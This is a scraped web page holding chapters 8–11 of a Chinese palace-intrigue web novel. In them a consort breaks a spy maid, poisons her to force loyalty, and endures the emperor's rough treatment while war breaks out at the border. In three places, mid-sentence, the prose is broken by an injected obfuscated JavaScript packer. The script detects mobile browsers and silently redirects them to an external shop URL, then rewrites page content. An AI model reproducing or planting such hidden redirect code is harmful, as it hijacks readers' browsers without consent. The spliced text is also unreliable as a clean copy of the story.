房门关上,白菊陷入黑暗中。她心跳得飞快,不停地深呼吸,让自己平静下来。黑暗中,她逐渐被困意席卷,在难受的姿势中入眠。不知睡了多久,她被巨大的人声猛地吵醒,睁开眼,在黑暗中看见一个隐隐约约的人影。 “你还能睡着,真让人佩服。” 她听出来是寒露的声音。很快,灯亮了,刺眼的光线让她不自觉地眯上眼睛。 “你能为一个朝不保夕的主子拼死效命,才是真让人佩服。”她嘴上不甘认输。 见寒露不理她,她突然生出点信心,继续说:“怎么不说话了?你想想,一个刚进宫就得罪了太后娘娘和皇后娘娘的妃子,能有什么未来?你这么效命于她,最后又能有什么好下场?” “所以呢?你觉得我应该如何?”寒露走过来,蹲下身,与她面对面,温声反问。 “所以?所以你不如放了我,哎,你怎么不听了?” 她刚说了一句,寒露就站起身,回到之前的位置上。 “蠢货。只要蓟辽总兵还在,主子的未来就不会差,你还是想想自己该怎么办吧。” 一刻钟后,寒露熄了灯,走出小房间。 时间一刻又一刻地过去。白菊起先还能数清这是第几次有人来,后面便失去了概念。饥饿席卷着她,让她无法集中精神,更让她难堪的是满室的恶臭。这份恶臭是她不得不造成的,而逼迫她产生这股恶臭的人还嫌恶地捂上鼻子。 在不知道第多少次见到寒露之后,她终于坚持不住。 “我招。” 8. 压服 沈明珮坐在主位上,淡漠地看着经过简单梳洗的白菊。 “两天,你还挺能坚持的。” 白菊抬起头,死死盯着沈明珮。 见她眼里满是愤恨,沈明珮便畅快了。 “既然说要招,那就好好说说吧。” 白菊坦白道:“主子获封美人、赐住景阳宫后,宁妃娘娘便将奴婢从御花园派过来,命奴婢监视美人。同启祥宫宫人联系也是宁妃娘娘的意思,只是日常禀报,并没有要害主子。” 沈明珮嗤笑,抬手招呼寒露和宋英将人拖下去。 “这人不说实话,你们接着关。” “沈明珮!”白菊尖声高喊,“我已经都招了,你凭什么继续关我?你有什么证据说我没说实话?” 沈明珮懒得同她分辩,只命令道:“这次灯不必关了,至少要有一人盯着她,一旦她想睡觉就将她喊醒。” 眼看着又要被拖进小房间,白菊大喊:“皇后,是皇后!” 寒露与宋英的脚步停下来,而后沈明珮命令道:“把她带回来吧。” 白菊被扔到沈明珮脚边,沈明珮居高临下地看着她,声音平静无波。 “这次能说实话了吧?” 白菊咽了口吐沫,低下头,一五一十地道来:“奴婢先前在御花园当值,选秀结束后被派来景阳宫东配殿。美人进宫前夕,有太监找上奴,说奴只要盯紧美人,定期将美人的行止告诉对接人,每月就有十两银子。” “十两银子,”沈明珮冷笑,“还真是大手笔。” “美人说的是,”白菊继续说,“奴婢没忍住诱惑,就答应了。在美人侍寝三日之后,那太监又一次找上奴,给了奴一个香囊,那个香囊……是奴进宫前给弟弟绣的。他说奴的家人都在他主子的掌控之下,只要按他说的做,就能放奴的家人平安,否则,否则奴和奴的家人都要死。” “嗯,”沈明珮轻轻点头,“确实是夏家的做派。他们要你做什么?” 白菊突然便不说了。 “怎么,怕你家人都死了?”沈明珮见白菊一脸倔强,笑着威胁,“你说,如果我说你偷了我的东西,让宫正司把你带走,你猜你的家人还能不能活下去?” 白菊沉默片刻,嘶哑着开口:“沈美人就非要逼迫奴婢不可吗?” 寒露实在听不下去,狠狠踹了她一脚,原本跪着的她扑倒在地。 “你动动脑子,是主子逼迫你吗?逼你的分明是皇后,是她把你的家人抓起来,是她强迫你谋害主子,你怨主子做什么?” 看着她扑在地上沉默不语的样子,沈明珮意兴阑珊地朝寒露挥挥手:“带下去吧,接着关着,食水正常给,想睡觉就让她睡,所有锐器都藏好,别让她有自伤的可能。” 寒露和宋英把人拖回小房间。 第二天晨定,皇后允许众人离开后,沈明珮找上了宁妃。 “今日这日头甚毒,妾实在是受不住,偏只有娘娘的宫人撑了伞,不知娘娘可否允妾厚颜同行?” “有何不可?”宁妃说着,让出了半个伞下的位置,“沈美人一向独来独往,今日突然与吾同行,吾也很荣幸。” “娘娘这话,妾愧不敢当啊,”沈明珮状似尴尬地笑了笑,用词谦卑,态度却是不卑不亢,“只是妾宫里那个叫白菊的宫女同娘娘宫里掌灯的二等宫女进来颇为要好,妾想着也许有幸能同娘娘有些缘分呢?” “确实是缘分。”宁妃沉吟着点了点头。 两人并肩走着,到了一个岔路口,沈明珮抬头看了看太阳,行了个礼,向宁妃告辞。 “多谢娘娘带妾走了一程,妾现已无事,景阳宫又路远,便先告退了。” “去吧。” 得了允许,沈明珮起身离开,直到她的背影消失不见,宁妃的脸色才沉下来。 “回宫,”她的声音冷得能凝出冰来,“吾倒要看看谁有这么大的胆子把手伸进启祥宫里。” 她身边的宫女仍有疑虑:“娘娘,会不会是沈美人诓您的?” “蠢货!”宁妃斥道,“对你嘴甜几句你就真把她当姐妹了?你帮了她多少,她又为你做过什么?沈美人有什么诓我的必要吗?” 宫女低下头,默默跟着宁妃回宫。 午时刚过,启祥宫就有一个二等宫女因为偷盗被送进宫正司。 “挺快的嘛。”沈明珮听到消息后正感慨,白芷就来报,说宁妃来访。 “把我最好的茶拿出来,”沈明珮一边吩咐白芷,一边整理衣服,确认没有问题后快步走出门。 “宁妃娘娘莅临,我这东配殿也是蓬荜生辉了。”沈明珮正要行礼,被宁妃架住。 她佯嗔道:“什么娘娘,都是自家姐妹,叫我姐姐就好。” 说着,她挽着沈明珮的胳膊走进东配殿,大有一股反客为主的架势。 进了东配殿,她扫视了一眼殿中陈设,撇了撇嘴:“夏家和定国公府也是几代荣华富贵了,怎么还是这么心胸狭隘。” 沈明珮惊讶。 倒是宁妃看着沈明珮一脸惊愕的模样,噗嗤一声笑了出来。 “怎么,很意外我会这般说夏家和定国公府吗?且不提定国公府,就夏家这些年的所作所为,你说夏琳首辅若是泉下有知,会不会后悔当初提拔了她弟弟?” 沈明珮深以为然:“我想应该是会的。” “定然是会的!”宁妃声音骤然拔高,又立刻降低,“把长辈兼恩人的努力尽数毁掉,这是何等的不肖子孙?若夏琳首辅是男子,夏家的名声早就臭不可闻了!你那二姐姐也是,夏家那做派学了个十成十,跟坤宁宫那位别无二致!” 也就是此时没有别人,宁妃才敢把这些话说出来,一听到脚步声传来,她立刻暂停危险发言。白芷端着茶走过来,为二人各沏好一杯,放在各自面前。 “真是厉害,”等白芷离开,宁妃摸着茶杯壁评价道,“他们真就能在规定的美人份例中精准找到最差的,这是何等娴熟的苛待人的本事,我这辈子怕是都学不来。” 沈明珮安静地在旁边喝茶,见她说完,轻声附和:“姐姐说得是。” “你那二姐姐,得知你进宫之后就给我递了信,要我在宫里收拾你。嘿,她不知道,其实我挺欣赏你敢同家里抗争的,而且我为什么要为她针对别人?”宁妃说着喝完茶水,放下杯子准备离开,“你说那个宫女我审过了,是皇后派过来的,这个钉子自我进宫就一直插在启祥宫。多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887962|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亏你今日提醒,我才能把她拔出来。” 宁妃说着,心中暗恨不已,这么一个钉子若是一直钉在启祥宫,还不知会酿成何等大祸。 “姐姐也是帮了我的忙,我宫里那个现在还不肯招呢。”沈明珮跟着站起身,送宁妃离开。 出了殿门,宁妃便让她留步:“好了,不用送了,等哪天要是有时间我请你来启祥宫玩儿。” 宁妃风风火火地来,又风风火火地走了,沈明珮回到殿内,立刻命令白芷把白菊带上来。白芷行动迅速,不过片刻就与寒露一同将白菊押到沈明珮面前。 有食水补充,又得以休息,白菊倒是比之前有精神了些,被押过来后还能赶在沈明珮前开口。 “沈美人莫要再费力气了,我不会招的。” “没有让你招,”沈明珮微笑着看着他,声音无比温柔,“我让她们把你带过来,是为了告诉你一个好消息。” 白菊狐疑地看向她。 “启祥宫里一个掌灯的二等宫女因为偷盗进了宫正司,受完刑后被贬到了皇庄,”沈明珮盯着白菊的眼睛,吐出的话像刀一样扎向她的心脏,“我想着你同她要好,若是没有你陪伴,她独自一人应该会寂寞,就同宁妃娘娘说了,让你也陪她一同去皇庄。日后有姐妹相伴,又没有我这等好逼迫人的主子,这是不是好消息啊?” 白菊瞳孔顿时放大,难以自制地大喊:“不要!” 没有人理会她,她自己慢慢缓过神来,一下子扑到沈美人脚边。 “美人,奴婢的家人真的会死的,求您不要把奴婢送出去,您一向心善……” “我一向心善,所以你就蹬鼻子上脸,先是死活不招,现在又要我放过你的家人?”沈明珮面无表情地打断她,随后一个眼神给到寒露,寒露心领神会,快速离开,再回来时带来一包药粉。 她将药粉倒进白菊嘴中,捂住白菊的嘴,止住她的呛咳,又倒进去一杯水,强迫白菊把所有药粉都咽了进去。 “其实我也不想换宫人,再进来一个宫人,我还要重新确认她是不是钉子,”沈明珮语气和缓下来,“但你的表现实在是让人难以放心,所以我也只好让寒露给你喂点药。” 白菊听着,不由自主地打了个寒颤。 “这药呢,每半个月需要服一次解药,若是错过了,第二天中午之前便会毒发而死。你若是死了,你的家人想来也活不成吧?” 白菊立刻点头。 “你若是按我说的做,我不仅会定期给你解药,还能保住你家人的性命。该怎么做,你想好了吗?” 白菊点头如捣蒜。 “很好,现在回到你自己的岗位上,重新当值去吧。你的接头人已经暴露了,接下来应该会有人来试探你,你知道要怎么说的,我说得对吗?” “对的对的,奴婢知道该怎么说。”白菊立刻应道。 “退下吧。” 主位上的人让她退下,白菊立刻逃也似的离开,生怕再有变动。 沈明珮赶走白菊,等她走远后才招寒露上前,低声命令:“你继续盯着她,她若是离宫你就跟在她后面,和接头人说什么你也都听着,回来立刻告诉我。” “是!”寒露应下。 9. 万寿 第二日下午,沈明珮午休刚起,白菊就来汇报。 “主子,那个太监又来找奴婢了。”不论她心里怎么想,至少态度终于恭敬起来。 “哦,”沈明珮打了个哈欠,“之前怎么同他说的还记得吧?该怎么说还是怎么说,他要是问你启祥宫的事,你就说你不知道,只知道她因为偷盗被送进宫正司,明白吗?” “是。”白菊低头退下。 夜深人静时,当白菊悄悄溜出景阳宫时,寒露也静静跟上。白菊在回宫后,又过了许久,寒露才在黎明中悄然归来。 等到清早,寒露为沈明珮更衣时,低声禀报:“主子,那个太监是慈宁宫的人。” “知道了,”沈明珮面无波澜,见寒露眼底泛起淡淡的青黑,嘱咐道,“你一夜未睡,快去补补觉。” “谢谢主子关心,奴婢这就去。”寒露应下。 安插数年的钉子就这么被拔去,皇后的心情并不算好,但她也没心思再做什么手脚,因为万寿节就要来了。 万寿节作为皇帝的生日,重要程度仅次于元旦与冬至,还会有三天休沐日。接下来的万寿节是新人进宫以来的第一个万寿节,也是新帝登极以来最热闹的一个万寿节。 白日里,皇帝在皇极殿接受百官朝拜,后妃加紧准备晚上宴会的服饰。沈明珮早就敲定好首饰,只还在衣装中犹豫。尚服局送来的夏衣就像殿里其他东西一样,按宫规挑不出毛病,但就是让人很难受。 最终,沈明珮还是挑了入宫前的衣衫。 晚宴设在乾清宫院中,沈明珮到时,已有低位妃嫔在场。这等宴会,品级低的位置也靠后,已经在场的妃嫔都坐在外围。沈明珮也挑了一个中部的位置坐下。 之后,散号宫妃陆陆续续到齐,而后是顺嫔、宁妃,两人分坐主位下首左右两侧。等时辰到了,皇帝皇后相携而来。 宁妃立刻站起身,带领其他人行礼。 “妾见过陛下,见过皇后娘娘。” 整齐划一的问安声显然取悦了皇帝,他本就极好的心情更添了几分愉悦,语气也较平日轻快许多。 “免礼,都起来吧。” 妃嫔们坐回到座位上。 随着一声“开宴”,宫人开始呈上膳食,教坊司的乐工也次第入场,贴着妃嫔们的坐席围城了一圈。舞者们站在中央,随乐而舞,为首者更是面若芙蓉,技艺高超。 一曲毕,宫人刚为皇帝端上清蒸鲥鱼。 “不错,赏!”皇帝对表演颇为满意。 皇后仔细端详他的脸,确定他没有其他想法后,命舞者退下。舞者们行礼后退下,乐工继续演奏下一支乐曲。 皇后想着,该到下一步了。 “陛下今日生辰,妾身与妹妹们都准备了礼物,陛下可要看看?” 皇帝放下筷子,笑着同意:“朕也很期待梓潼和爱妃们的礼物。” 皇后笑着抚掌,命人将礼物端上。只见两个小太监一齐端上来一尊人高的太湖石。 “这是妾的姑父在太湖边寻来的,不需要放在园林中就可观赏,妾的父亲想着陛下的生日快到了,便请姑父派人运至京师,由妾将其献与陛下,祝陛下万寿无疆。” 皇后说得非常好听,席间却有人偷偷看向沈明珮——皇后的姑父,不就是沈美人的父亲吗?沈总督能把这么好的东西给皇后,却没见他给沈美人什么帮助。 “沈卿管理两江之地,对辖区内的风物颇为了解啊。”皇帝笑着说。 之后便是宁妃,宁妃献上的是和田玉雕,白玉无瑕,净如凝脂,亦是十分精美。顺嫔没有强大的母家,寻不到奇珍,干脆为皇帝做了一套里衣,密密麻麻的针线全都是自己亲手缝制,皇帝接过后也有几分动容。 “爱妃有心了。” 只一句话,便让顺嫔欣慰地笑了。 而后又有宋昭仪献上失传古籍,楚婕妤献上亲手抄写的佛经,大家都用尽手段博皇帝欢心,很快便轮到沈明珮。 人们多少有些好奇。沈大人摆明了要支持皇后,那么被家族放弃的沈美人又能献上什么贺礼呢。 沈明珮献上的是一幅画。 “此画乃妾亲手所作,画的是江南农人耕作的场景。愿陛下福德佑我大齐,愿大齐风调雨顺、长治久安。” 先前献过礼的人中,有人已经悄悄攥紧了手帕。沈明珮的画当真有很好吗?其实只能说在贵女中属上乘。但是这画中良田遍布,阡陌纵横,农人无衣衫褴褛,田中无杂草病害,再配上这解说,立刻便不一样了。 “很好,”皇帝也很满意,“愿我大齐千秋万代,繁荣昌盛。” 说罢,他竟命令太监将画收好,挂在乾清宫书房中。 沈明珮之后也有数人献上礼物,但都没有太大的反响。献礼结束,宴会也到了尾声,宫人们正在上点心。这时,慈宁宫的女官领着一队宫人走进御花园。 “太后娘娘贺陛下生辰,命奴婢奉上红珊瑚一株,并赐皇后羊脂玉镯一副,宫中妃嫔每人青玉镯一副。” “朕代宫中众人谢母后赏赐,”皇帝收下礼物,又问女官,“母后可是遇到什么喜事?” “回陛下,”女官大声回答,“定国公府三公子即将成亲,新娘子是礼部郎中的嫡女,娘娘心中欣慰,便想与人同乐。” 女官一边说着,一边看向沈明珮。沈明珮只当与自己无关,继续该吃吃,该喝喝。 无人配合之下,女官扫兴地收回目光。 “太后娘娘还在等奴婢回去复命,贺礼既已送到,奴婢便告退了。” “回去吧,替朕谢谢母后。” 女官行礼离开,皇帝继续享用点心。一口咬下去,内馅已经半凉,他立刻失去了继续吃下去的兴趣,把点心放回盘中。见众人也吃得七七八八,便下令散席。 万寿节这等重要节日,皇帝必然要留宿坤宁宫中,沈明珮散了宴,顶着旁人或明显或隐蔽的目光,在白芷的陪同下直奔景阳宫。 一迈进宫门,她便见到了守在宫门口多时的寒露。寒露随着她们进入东配殿,而后,沈明珮挥退白芷,寒露立刻将藏在衣襟下的信交给沈明珮。 万寿节晚上,各宫宫人也都在庆贺,宫中防卫便有所松懈。寒露趁着这个机会,带着沈明珮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887963|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密信悄悄出了宫门,与沈佥事府上的管家交接。而后,在一片喜庆中,她悄然混进宫中,又绕了一圈路,才回到景阳宫。 将信交出去的同时,她低声说:“主子,定国公府的三公子要与礼部郎中家的姑娘成婚了。” “我知道。”沈明珮头也不抬地回答,打算把信拆开。 “主子,您知道他是怎么能成婚的吗?”寒露又问,见沈明珮停下手中动作,倒豆子一般把自己知道的全说了,“那定国公夫人直接在太太聚会时说看中礼部郎中家的姑娘做三儿媳,原本和这姑娘定亲的那家人立刻就把婚退了。礼部郎中的太太找媒人寻郎君,能找的全都找了,没有哪家敢娶。正好那几天礼部郎中被上司寻了过错,一通敲打,定国公府又来提亲,这亲事就成了。” 沈明珮听得咋舌,这不就是恶霸吗? 寒露分享完新鲜事便退下了,沈明珮打开信,独自走进寝房,从内部将房门锁上。她备好笔墨,将信中文字的部首提取出来写在纸上,又拿出另一张纸,对应着写满部首的那张写下数字。最后,她从床底摸出来一本厚书,翻来翻去,又拿出一张纸,写下两句话。 而后,她将书放回床底,将三张纸全部烧为灰烬。 万寿节休沐结束的第一天早上,礼部郎中府上传来一阵尖叫。 “大小姐上吊啦!”发现此事的是大小姐的丫鬟,尖叫的同时直接全身瘫软倒在地上。 在近处当值的仆役们立刻闯进大小姐的屋子,齐心协力把她抱了下来。 府上管家立刻去请郎中,很快郎中带着药童来到府上,折腾了大半天后,大小姐悠悠醒转。 看着眼前一张张熟悉的脸,她并没有丝毫劫后余生的庆幸,反而无比失望。紧接着,她就挨了狠狠一个耳光。 “孽女!”礼部郎中怒不可遏,“既然不肯老实嫁那就捆起来关到柴房里!你就是死也得给我死在定国公府!” “老爷!”礼部郎中的夫人实在看不下去,抱着女儿哀求,“这个婚就非结不可吗?定国公府那个三公子您又不是不清楚,莹娘嫁给她哪里还会有活路啊?实在不行就让莹娘出家,做姑子也好,做女道也罢,妾身愿意用嫁妆养她,不会麻烦老爷的!” 礼部郎中怒喝:“无知蠢妇!定国公府指名道姓要莹娘嫁过去,我一个郎中能躲得过去吗?想想大郎和二郎,你想让全家都跟着一起倒霉吗?” 想到两个儿子,礼部郎中夫人最终还是放开了抱着女儿的手。莹娘眼睛里刚有的一点光亮也彻底熄灭。 仆役立刻上前,捆上她的手脚,将她关进柴房。 定国公府三公子赶在八月之前大婚。婚礼当日,礼部郎中府后宅没有丝毫喜气,反而像是在送葬。饿得没有力气的大小姐被一群仆妇摆弄着穿戴整齐,再化上妆,就像一具精致的人偶。 礼部郎中夫人哭得像个泪人,连句完整的话都说不出来,倒是礼部郎中阴沉着脸提醒女儿:“凡事想想你母亲,莫要做出有辱门楣的事来。” 大小姐机械地应下,被大哥背上花轿。 婚礼当晚,太后赏了沈明珮一碟喜饼。 10. 风波 定国公府三公子成婚第二天,定国公夫妇便带着新婚夫妇进宫拜见太后。当天晚上,定国公府三少奶奶就被封为五品宜人。 恰好高美人一品。 大抵是老大难问题终于解决了,太后的心情也好了不少,八月初一皇后带着众妃嫔给太后请安时,她也满脸笑容,就像一个真正的慈祥的老太太一样。 实在是让人瘆得慌。 娘娘们心情好了,宫里也跟着安生不少,可惜没几天,永和宫又出了乱子。 沈明珮正在屋内作画,眼见着只差最后一笔,寒露突然闯进来。沈明珮手一抖,墨滴落在纸上,整幅画登时便废了。 沈明珮眉头微皱,抬头看向寒露:“有什么事?” “主子对不起,但是皇后娘娘召所有宫妃前去永和宫,立刻,马上。”寒露直接带着适合外出的外衫来的,她将衣服递给沈明珮,自己快速收拾残局。 换好衣服,沈明珮带着寒露前去永和宫。 到永和宫时,院里已经站了不少人,大多神情凝重。沈明珮看了看人群,抬步走到宋昭仪身边。 “昭仪姐姐可知是发生了何事?” 宋昭仪把头凑到她脸旁边,低声说:“何美人见红了,太医现在正在里面。” 沈明珮心中一凛。何美人因为胎像不稳已经久不出现,就连万寿节晚宴都没有出场,结果还是见了红。而且看这个架势,应该不是她自己身体的问题。 宫妃陆陆续续到齐,在永和宫院内安静等了许久,皇后身边的大宫女晴兰推开西配殿的大门。 “陛下、皇后娘娘宣召,各位主子请进。” 妃嫔们带着各自的宫女浩浩荡荡地走进西配殿内。只见主位摆着两把椅子,帝后各坐一把,正对着主位跪着一个低位宫妃打扮的人,哭泣不已。 是王宝林。 “妾不是故意的,”她哭着伏倒在地,“陛下,娘娘,妾真不是故意推她的!” 皇后脸色难看地呵斥她:“闭嘴!不是你故意推她,难道还是她主动被你推倒的吗?” “妾只是脚滑!”王宝林见皇后不信,又泪眼婆娑地看向皇帝,可惜皇帝也并不打算怜惜她。 “宝林王氏,残害皇嗣,废为庶人,”皇帝冷声下令,“美人何氏,护嗣不利,生产前闭门不得出。” 立刻就有宫人上前拖走王庶人。王庶人哭着抓向皇帝的衣摆,被皇帝身边的太监一脚踢开。 “陛下,陛下!妾伺候您这么多年……” 哭喊声越来越小,而后骤然停止,有占位靠后的妃嫔偷偷向后看了一眼,而后立刻转过头来,眼含恐惧——王庶人被太监直接堵住了嘴。 这时,太医从寝房走了出来,低声向皇帝禀报:“陛下,何美人已无碍。她有话想同您说。” “朕知道了,退下吧。” 太医立刻行礼离开。 见此事基本结束,皇后绷起脸,开始对妃嫔们训话。 “本宫知道,你们并非一团和气,当中有些人可能还有仇怨,但不论如何,毁人身体、伤人性命之行为都绝对不可饶恕。像今日王庶人一般一言不合就残害皇嗣的,更是死不足惜!本宫希望各位妹妹能以王庶人为戒,谨守宫规律法,莫要行不轨之事,若是再有类似事件发生,就绝不止废为庶人这么简单了。明白了么?” “谨遵娘娘教诲。”这等时候,在场妃嫔没有想显示自己与众不同的,全都恭声应下。 “行了,都回去吧。”皇帝心中正烦,看着自己的这些妃子也觉得碍眼,将她们全都赶了回去。 待人都走了,空旷的西配殿内只剩下他和皇后,他站起身,欲走进寝殿,又转过头对皇后说:“你也回去。” 皇后本想留下,但见他面色冷淡,眼含不耐,还是行礼退下。 “妾身告退。” 皇帝走进寝房,何美人正默默流泪,见他进来也没有什么表示。 皇帝片刻也不想等,将她从自己的情绪中叫出来:“你要同朕说什么?” “陛下在怪妾,是么?” “你说什么?”皇帝皱紧眉毛,“你老实呆在殿里,其他的不要管。” “所以陛下认为妾身今日有罪,是吗?”何美人依旧在问。 皇帝彻底不耐烦了。 “保护皇嗣不利,难道不是罪吗?你现在应该老实养胎,莫要再无理取闹。” 尽管早就知道会得到什么答案,何美人仍然无比心寒。自从有孕以来,她便时刻处在小产的危险中,小心翼翼才坚持到现在。今日她也不过是与王庶人交谈几句,甚至称不上吵架,谁知道王庶人突然扑上来推她! “若非当初那些避子汤,妾何至于怀得如此艰难?” 皇帝愣住了,他似乎没反应过来何美人在说什么,让她再说一遍:“你再说一遍,你刚才在说什么?” 何美人闭了下眼睛,长吐口气,破罐子破摔地大声说:“妾说,若没有当初那些避子汤,妾本也不会有小产的危险!” 皇帝从没想过在他登极后居然还有人敢直接指责他,他怒极反笑:“你是在怪朕?” “难道不该怪您吗?”前头的话说出来后,何美人反倒没有了恐惧,她抬起头,直视皇帝,“难道不是因为陛下一次次地要我喝避子汤,我才会胎相不稳吗?我并未与王庶人发生争执,是她无故推我,陛下都能降罪于我,我凭什么不能怪确实导致了这一切的陛下?您同太后斗法,为什么要一次又一次地伤害我?” “你放肆!”皇帝的愤怒不仅在于他被自己的妃子指责,更在于他潜意识里其实清楚何美人指责得一点错都没有,但他比起承认错误更倾向于维护自己的权威,“你是朕的妾室,服从朕的命令是你的本分,谁给你的胆子心怀怨怼?” “是我想当你的妾室吗?” 何美人一句话让西配殿彻底安静下来。两人皆是一言不发,殿内只能听见皇帝急促的呼吸声。 半晌,皇帝冷笑:“朕真是太给你脸了。以你的出身,根本不配侍奉朕,你能做到美人已是三生有幸,居然还敢拿乔。” 何美人已经擦干眼泪,既然话赶话说到了这个地步,她索性把一切摊开说来。 “妾身本也不想有这个荣幸。太后娘娘一道懿旨,我便被抬进王府,谁问过我到底想不想做您的妾室?懿旨在上,我能说不吗?我敢说不吗?之后妾身在王府过的什么日子,陛下您不仅知道,还促成了一部分,这是什么好日子吗?若是没有那道懿旨,妾身大抵确实只会嫁进小吏家庭,但至少不会被自己的夫君当贼防,不会被一碗碗地灌避子汤,不会被当成斗法的工具,至少能活得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887964|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更像个人!陛下说妾身拿乔,那敢问陛下,如果是您,您愿意过妾身这些年的日子吗?” “你算什么东西,也配与朕相提并论,”皇帝拂袖而去,“何美人神志不清,宫人伺候不利,逐出永和宫!” 伴着他离开永和宫的脚步的是何美人的大笑,一声比一声凄厉。他丢下随行的太监,漫无目的地走着,越走越快,竟到了景阳宫门前。 沈明珮就这样突如其来地接了驾。 此时已是傍晚,东配殿内已经摆好晚膳。沈明珮见皇帝突然驾临,还是孤零零的一个人,立刻派宋英前去尚食局。 “不必了,”皇帝喊住宋英,“就这样吧。” 皇帝面色沉重,沈明珮也大气不敢出,一顿饭吃得心惊胆战。待到餐盘撤下,皇帝依然坐在桌旁,一动不动。 “陛下?”沈明珮试探着呼唤皇帝。 皇帝回过神来,来了一句“何美人疯了”。 沈明珮心中直呼完蛋,她可不想掺和进皇帝与其他人的爱恨情仇,好在皇帝也不打算与她细说,直接说道:“安置吧。” 这一晚的皇帝极其粗暴,好像在发泄什么怒火一般,沈明珮浑身无一处不疼。但皇帝不停下,她也只能曲意逢迎。 直到快要失去意识时,她在心中怒骂,疯了的是这个狗皇帝吧! 再醒过来时,天已大亮,晨定必然是错过了。寒露守在她身边,红着眼睛,见她醒过来,慌忙擦干眼睛。 “主子,皇上已免了您今日晨定,太医也已经为您处理好伤处。” 沈明珮忍着疼痛坐起来。 “昨日永和宫后来又发生了什么?” “奴婢不知,”寒露摇头,“只知道陛下将伺候何美人的宫人全部贬出永和宫,重新派了几个宫人,还派锦衣卫包围永和宫。” 沈明珮的脸色更难看了,她幽幽地说:“自己理亏就拿旁人撒气,这就是咱们的好陛下啊。” 寒露的眼圈又红了:“陛下这样对主子,不怕刘大人知晓吗?” “他就是不怕被知道啊,”沈明珮声音冷得像冰,“若是宁妃宋昭仪这些人,你看他还会这样吗?正因为舅舅和阿兄是他的亲信,指望着他的任用,他才敢这么肆无忌惮的对待我啊。” 寒露的眼泪噼里啪啦地掉下来。 “罢了,莫哭了,会有改变的一天的,”沈明珮拍了拍她的肩膀,“叫白菊进来吧。” 白菊走进来时手里还捧着皇帝的赏赐,但沈明珮看也没看,把东西扔在一边,直接问她:“皇后原本是要你对何美人出手,你确定,对吧?” “是,”白菊点头,见沈明珮神色不明,又急切地补充,“他们是这么同奴婢说的,奴婢不敢骗主子。” 沈明珮头疼地揉了揉额角——皇后能在这段时间内再安排一场天衣无缝的陷害吗? 永和宫内,西配殿已在锦衣卫的包围中,身着蟒袍的太监笑着对何美人行了个礼。 “何美人,陛下说了,若您腹中的皇嗣再有个三长两短,您全家人就都不必再活了。” 何美人面不改色地反问:“他除了拿家人威胁我之外还会什么?” 太监没有回答,又行了一礼后离开。 何美人紧紧抓着床单,心中冷笑——脱去这身龙袍,你又是个什么东西呢? 11. 金袭 沈明珮结结实实地养了好几天伤。 出了宫妃险些小产这等大事,皇后立刻加紧了对六宫的管控,也暂停了私底下的小手段,宫中顿时平静了许多。 秋天的后半段总算是平静无波地过去了。 冬日的京师冷得厉害。今年的冬天来得很早,雪早早落下,铺满在地,宫中纷纷支起炉子,烧着碳驱赶寒冷。 京城尚且如此,山海关外更是冷得彻骨。在严寒中,金人又一次南下。 消息传回京城时,已经开打了十天。此番金人来势汹汹,大齐与金接壤之处全部陷入战火,战况焦灼。 自从收到战报后,皇帝便再未来过后宫。战况并不乐观,乾清宫内每天都坐着一群大臣,与皇帝一同草拟政令。 六宫也是一片沉重,甚至连晨定时常见的拌嘴也没有了。京师紧邻蓟辽,一旦前线失守,京师将立刻处在危险之中。 沈明珮的心也一直紧绷着。她的兄长、舅舅、表兄,全部镇守蓟辽,此番正是直面金人的威胁,二表兄更是就在交战之地。但本朝后宫不得干政,纵然急得团团转,她也无法知晓前线的消息,只能等皇帝亲自公开。 遗憾的是,局势似乎在与众人的期望反着来,进京的战报极少,最后一次传过来的消息更是说前线已然失守。 朝野上下人心惶惶。 沈明珮是强撑着去坤宁宫晨定的。坤宁宫内静悄悄,众人或是眼观鼻鼻观心,目不斜视一言不发,或是悄悄看过来,然后又默默转移视线。 倒是向来与她不睦的王美人移步到她身边坐下,宽慰道:“前线局势向来瞬息万变,一条没有确定的消息算不得什么,大齐会赢的。” “大齐确实会赢,只是刘大人和小刘大人都身处前线,是否能平安可……” 孟才人还没说完,就狠狠地挨了个巴掌。她惊愕无比,而后愤怒地看向王美人:“这里是坤宁宫,王姐姐是要在皇后娘娘眼皮子底下违反宫规不成?” 王美人不仅丝毫不怵,还又扇了她另半张脸,直接打了个对称。打完人,她掏出手绢,细细擦手。 “就是皇后娘娘在场,我也一样要打你。将士们在前线抛头颅洒热血,你在后方咒他们死,你就是欠打!” 孟才人不再说话,捂着脸静静地坐在座位上,等到皇后出现,才冲到她面前,大声告状道:“娘娘,王美人打妾!” 说着,她放下捂着脸的手,露出被打红的脸。 皇后刚要继续盘问她和王美人,就听到了宁妃的冷笑。 